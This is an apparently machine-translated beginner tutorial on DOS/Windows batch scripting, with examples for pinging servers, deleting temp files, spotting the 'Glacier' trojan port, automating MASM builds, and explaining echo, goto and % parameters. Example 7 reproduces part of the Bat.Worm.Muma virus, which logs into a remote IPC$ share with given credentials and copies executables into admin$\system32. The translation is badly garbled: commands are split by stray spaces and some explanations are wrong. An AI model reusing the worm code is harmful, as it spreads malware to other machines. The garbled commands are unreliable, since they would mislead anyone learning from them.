This is a technical tutorial. I will express my meaning in a very simple text. You will be able to understand what you want to read and learn. The purpose of this tutorial is to let every friend who has read these texts remember one sentence: If love can make things easier, make it easier! The method for reading this tutorial is slow! Slowly, just like a woman and a cup of tea, you will find that many things that were just in front of you suddenly become far away, and some very distant things have suddenly returned to our eyes.
First, let's outline what batch processing is. So far, I have not been able to give a suitable definition of batch processing-Not many experts have given it-I don't know-I'm not necessarily convinced after reading it-I'm a cainiao, of course, I don't need to mention it. But I want to sum up a "more appropriate", and I believe I can explain it clearly, let more cainiao know what this is and what you can do with it. Maybe you will "Fall In Love With Batch Processing unconditionally" because of this article, so my goal is achieved-I am trying to make you fall in love with it, so I am so jealous, what can you do ?? Really, sometimes love is so arrogant, that's no reason, it's so shameless! Really!
According to my understanding, the essence of batch processing is a collection of DOS commands in a certain order.
OK, never claver and get to business ). BATCH Processing, also known as a BATCH processing script, is translated into BATCH in English. The BATCH processing file suffix BAT takes the first three letters. It does not have a fixed format, as long as the following line is followed, it is OK: each line can be viewed as a command, each command can contain multiple sub-commands, starting from the first line of execution, until the last line ends, it runs on DOS. Batch Processing has a distinctive feature: convenient, flexible, powerful, and highly automated. I don't want to make my own tutorials boring, because code is involved (the batch processing content is code ?) The problem is boring, and few people can calm down with full screen code. So I will use a lot of simple and practical examples to let my friends who have read this tutorial experience the charm of batch processing, feel the strange character of batch processing, and unconsciously love batch processing (dizzy, how is love? What is the relationship between batch processing and love? Answer: No !). Let's say "Gossip": to learn batch processing well, the DOS basics must be solid! Of course, flexible mind is also an important aspect.
Example 1: first, give the most easy batch processing script to familiarize everyone with its face and save the following commands as name. bat and then execute (only the code is provided in the future, and the Save method is similar to the execution method ):
Ping sz.tencent.com> a.txt
Ping sz1.tencent.com> a.txt
Ping sz2.tencent.com> a.txt
Ping sz3.tencent.com> a.txt
Ping sz4.tencent.com> a.txt
Ping sz5.tencent.com> a.txt
Ping sz6.tencent.com> a.txt
Ping sz7.tencent.com> a.txt
Exit
Can you understand it all? Is it easy? However, after performing this batch, you can create a file named a.txt on your own. The recorded information can help you quickly find the fastest QQ server and stay away from the painful process of transferring from the server. Here> means to put the things obtained by the preceding command in the following place,> and> the growth file (think of how to destroy it ??). By the way, this batch processing can also be combined with other commands to achieve a completely automated judgment of the server speed. After the execution, the fastest Server IP address is directly displayed, isn't it great? It will be detailed later.
Example 2: an outdated example (a. bat) is provided ):
@ Echo off
If exist C: \ Progra ~ 1 \ Tencent \ AD \ *. gif del C: \ Progra ~ 1 \ Tencent \ AD \ *. gif
A. bat
Why is this an outdated example? Very simple, because almost no one has used QQ with advertisements (KAO, My QQ also shows friends !!), So it is almost useless. However, once it was used, it could not be a small glimpse: deleting QQ ads and making the dialog box clean. The address used here is the default installation address of QQ. The default batch processing file name is a. bat. You can modify it as needed. The if command is used in this script to determine and delete ad images in a timely manner. You only need to disable the DOS window after the command is executed, without pressing CTRL + C to forcibly terminate the command, it keeps monitoring whether there are advertisement images (QQ also keeps checking whether its advertisement has been deleted ). Of course, this script occupies a little bit of memory.
Example 3: Use the batch processing script to check whether the glacier is in progress. The script content is as follows:
@ Echo off
Netstat-a-n> a.txt
Type a.txt | find "7626" & echo "Congratulations! You have infected GLACIER! "
Del a.txt
Pause & exit
Here, the netstat command is used to check the status of all network ports. You only need to know the ports used by common trojans to easily determine whether they have been attacked by the glaciers. However, this is not certain, because the default port 7626 of the glacier can be modified completely. This section only describes the methods and ideas. Here we will introduce a slight change to the method and idea to check other Trojan scripts. Then we will change it and add the parameter and port and information list files, the script automatically detects all Trojans. Haha, isn't it fun? The combined commands & and pipeline commands are also used in the script, which will be detailed later.
Example 4: Use batch processing to automatically clear system spam. The script is as follows:
@ Echo off
If exist c: \ windows \ temp \ *. * del c: \ windows \ temp \*.*
If exist c: \ windows \ Tempor ~ 1 \ *. * del c: \ windows \ Tempor ~ 1 \*.*
If exist c: \ windows \ History \ *. * del c: \ windows \ History \*.*
If exist c: \ windows \ recent \ *. * del c: \ windows \ recent \*.*
Save the above script content to autoexec. bat, and automatically delete the system garbage every time the system is started. Pay attention to two points: 1. DOS does not support long file names, so Tempor ~ appears ~ 1. You can make changes based on your actual situation so that they meet your requirements.
How are you interested in the batch processing script? Did you find yourself falling in love with this stuff? Don't be happy too early. Love is not a simple task. It may bring you happiness and happiness. Of course, it can also make you think about jumping out of the building. If YOU know it's hard to continue, I 've got YOU! Continue to work hard. Maybe you don't necessarily get true love at the end of the day (it's possible that people who love it know it), but you can feel the whole process of love. It's sour, bitter, and spicy. Do you know if it's sweet.
Why is batch processing related to love? I am not bored, nor is it because it is interesting to write in this way. There are two reasons: first, there are many similarities between batch processing and love, in some cases, I can't explain it clearly with a "professional" line (I don't doubt my ability to express myself, but it's hard to make things clear, but what is love? How do I know !!), Maybe you will be able to get twice the result with half the effort. Why not? Second, I am in a bad status during this period. I have a cold, a fever, a headache, and a nose, but I am still suffering from emotional mental damages. I am tired of people. I am sorry to say a few words when I write a tutorial, everyone needs to buy a dog skin plaster and ignore it (maybe it's a bit effective-it won't let you look at it and then fall asleep, so you can bid your head and come to me to reimburse your medical expenses ). Maybe in the next tutorial, you will see the heroes of Yang Guo, Zhang Wuji, and other elders.
My friends who have read chapter 1 must have a preliminary impression on batch processing and know what it is. But do you know where the essence of batch processing is? In fact, it is very simple: the idea should be flexible! Nothing can be done, just unexpected. This is a little different from love, because the world of love is the world of two people, wishful thinking is not called love (Supplement: it is called Single Love. Nonsense !) Batch processing is a paradise for one person. You can do whatever you want without reaching the realm!
Batch Processing looks disorganized, but it is logically not inferior to other programming languages (such as assembly). If the script you write is messy, although each line of commands is correct, however, after executing the command from the beginning to the end, you may not necessarily get the expected result, maybe it is a screen of Bad command or fail name. This has something in common with love: operating by steps, and missing or increasing steps may lead to unexpected results. A friend who falls in love, I believe this sentence is not certain. My love batch processing, the output result is not Bad command or fail name, the screen is shown as follows: 'Your love' is not an internal or external command, it is not a running program or batch processing file. Then the cursor keeps flashing and waits for the wrong input.
Starting from this chapter, we will introduce the commonly used commands in batch processing in a simple way. Many common DOS commands are widely used in batch processing scripts, which are the BODY part of the batch processing script, however, batch processing is more flexible and more automated than DOS. To learn batch processing well, DOS must have a solid foundation. Here we will only describe some doscommands that are rarely used (relatively speaking). Common commands such as COPY and DIR will not be introduced (these seemingly simple commands are actually very complicated, I am afraid I cannot make it clear !).
Example 5: first look at an instance. This is a very interesting script. It is a small and practical tool that shows the batch processing features in full automation. First, let's introduce the history of this script: we all know the process of installing the assembler (MASM). First, we need to compile and connect the source code, and then execute it, there are many links in the middle that require a lot of input, which is very troublesome (only experienced friends can understand ). How can this process be simplified? During our compilation course design, I was forced to write this script, which was very helpful. Check the script content:
@ Echo off
: Close echo
Cls
: Clean screen
Echo This programme is to make the MASM programme automate
: Display info
Echo Edit by CODERED
: Display info
Echo Mailto me: qqkiller *** @ sina.com
: Display info
If "% 1" = "" goto usage
: If input without paramater goto usage
If "% 1" = "/? "Goto usage
: If paramater is "/? "Goto usage
If "% 1" = "help" goto usage
: If paramater is "help" goto usage
Pause
: Pause to see usage
Masm % 1.asm
: Assemble the. asm code
If errorlevel 1 pause & edit % 1.asm
: If error pause to see error msg and edit the code
Link % 1.obj & % 1
: Else link the. obj file and execute the. exe file
: Usage
: Set usage
Echo Usage: This BAT file name [asm file name]
Echo Default BAT file name is START. BAT
: Display usage
Don't be scared by this pile of things first, so calm down and take a closer look (think about how the first section in Chapter 1 was written !!). The explanation of each line of commands has been given. The content after the two colons is the E text explained in the previous line. (If you are afraid of E text, you don't have to worry about it. It's easy, I understand it at a Glance. I really don't understand it. I don't know how to look up dictionaries. Is it so lazy ?), It is not displayed during script execution and does not play any role. There is a colon at the beginning of the last 5th rows. It's not a mistake! The specific functions will be detailed later. In this script, masm and link are Assembler and connection programs. They must be related to the edit Program and the source code you want to edit. (Of course, this script is also nonsense !) Together in the current directory. Using this batch processing script can minimize manual input. during the entire process, you only need to press a few enter keys to implement automatic conversion from the Assembly source code to the executable exe file, intelligent judgment: if an error occurs in the source code during compilation (Assembly fails), the error message is automatically paused and automatically enters the source code editing interface after pressing any key; if the source code compilation is successful, connect and automatically execute the generated exe file after the connection. In addition, because of the simplicity and flexibility of the batch processing command, this script also has a good option to modify, simple modification can meet the machine habits of different friends. If you are learning compilation, do not forget to take an internship!
In this script, the following commands are displayed: @, echo,:, pause,: And goto, %, and if. This chapter describes these commands.
1 ,@
There are no strangers to this symbol. How can it be used for batch processing? Well, it's not its fault. batch processing is inseparable from it, or it's not perfect. It does not display the command line after it in the execution window (what a detour !). Well, in other words, the command line will not be displayed if the line has its first line. In Example 5, in the @ echo off line at the beginning, @ is used to prevent the script from displaying the echo off part at execution. Do you understand this? Still not quite familiar with it? It doesn't matter. After reading the echo command introduction, you will naturally understand it.
2. echo
The Chinese characters are "feedback" and "Echo. It is actually a switch command, that is, it has only two States: open and close. So there are two commands, echo on and echo off. Directly executing the echo command will display the status (off or on) of the current echo command. Executing the echo off command will turn off echo display, and all subsequent commands will not display the command itself, only the execution result is displayed, unless the echo on command is executed. In Example 5, the @ command in the first line is combined with the echo off command to achieve two purposes: the echo off command itself is not displayed, and the commands in the subsequent lines are not displayed. It is a bit messy, but if you practice it, you will get a 3-minute package and will not refund the money!
Another way to use the echo command is to use it to display information! For example, in Row 5, the Default BAT file name is START. BAT is displayed in the window after the script is executed, but the echo command itself is not shown (Why ??).
Another method of echo command 2: You can directly edit a text file. Example 6:
Echo nbtstat-A 192.168.0.1> a. bat
Echo nbtstat-A 192.168.0.2> a. bat
Echo nbtstat-A 192.168.0.3> a. bat
The preceding script content can be edited by entering the content in the command line with a carriage return on each line. Finally, a file a. bat will be generated in the current directory and the result will be obtained after direct execution.
3 ,::
The function of this command is very simple. It is a comment command, which is equivalent to the rem command in the batch processing script. The content after it is not displayed during execution, and it does not play any role, because it is only a comment, but increases the readability of the script, and the/* in the C language /*............ */Similar. Everyone on Earth can understand it, so I won't say much.
4. pause
Pause (look at your workman). I always think it is the simplest command in batch processing, simple and practical. It is used to pause the current program process and display a line of information: press any key to continue .... In Example 5, this command is used twice. The first function is to let the user see the program information, and the second is to display the wrong assembly code information (not the information it wants to display, instead, the masm program is temporarily suspended when an error message is displayed, so that you can see where your source code is wrong ).
5.: And goto
Why should we introduce these two commands together? Because they are inseparable, no matter which one is missing or which one is missing, errors will occur. Goto is a jump command, which is a tag. When the program runs to goto, it will automatically jump to: the defined part is executed (is it inseparable ?). In Example 5, the first row of the last 5th rows appears: when the program runs to goto, it automatically jumps to the execution of part of the label definition. The result is the script usage (usage is the label name ). It is not hard to see that the goto command is based on the colon and Tag name to find the place where it should jump. They are a one-to-one correspondence. The goto command is often used in combination with the if command. For the specific usage of the two commands, see Example 5.
Another way to use the goto command is to terminate the program in advance. In the program, use the goto command to jump to a tag. The content of this tag is defined as exit. For example:
......
Goto end
......
: End
Here: end is in the last line of the script! In fact, this example is very mentally retarded. You will know about the if Command and the combined command later.
6.%
This percent number is strictly not a command. It is only a parameter in batch processing (except when multiple % are used together, which will be detailed later ), but never underestimate it as a parameter. (See how many places in Example 5 use it ?), The batch processing function is reduced by 51%. Let's take a look at Example 7:
Net use \ % 1 \ ipc $ % 3/u: "% 2"
Copy 11.BAT \ % 1 \ admin $ \ system32/y
Copy 13.BAT \ % 1 \ admin $ \ system32/y
Copy ipc2.BAT \ % 1 \ admin $ \ system32/y
Copy NWZI. EXE \ % 1 \ admin $ \ system32/y
Attrib \ % 1 \ admin $ \ system32 \ 10.bat-r-h-s
The above code is part of the Bat. Worm. Muma virus. % 1 represents the IP address, 2% represents the username, and 3% represents the password. The execution format is: script file name parameter 1 parameter 2 ....... Assume that the script is saved as a. bat. The execution format is as follows: a IP username password. Here, IP, username, and password are three parameters, which are indispensable (because the program cannot run correctly, not because the parameter syntax is missing) during script execution, the script automatically uses your three parameters in sequence (Remember, in turn! Is also a one-to-one correspondence .) Replace 1%, 2%, and 3% for the purpose of flexible use (imagine if ip, username, and password are defined in the script, the role of the script is fixed, but if % is used, different parameters can achieve different purposes. Is it more flexible ?).
The usage of this parameter will be described in subsequent sections. You must be very skilled. This requires a lot of exercises and effort!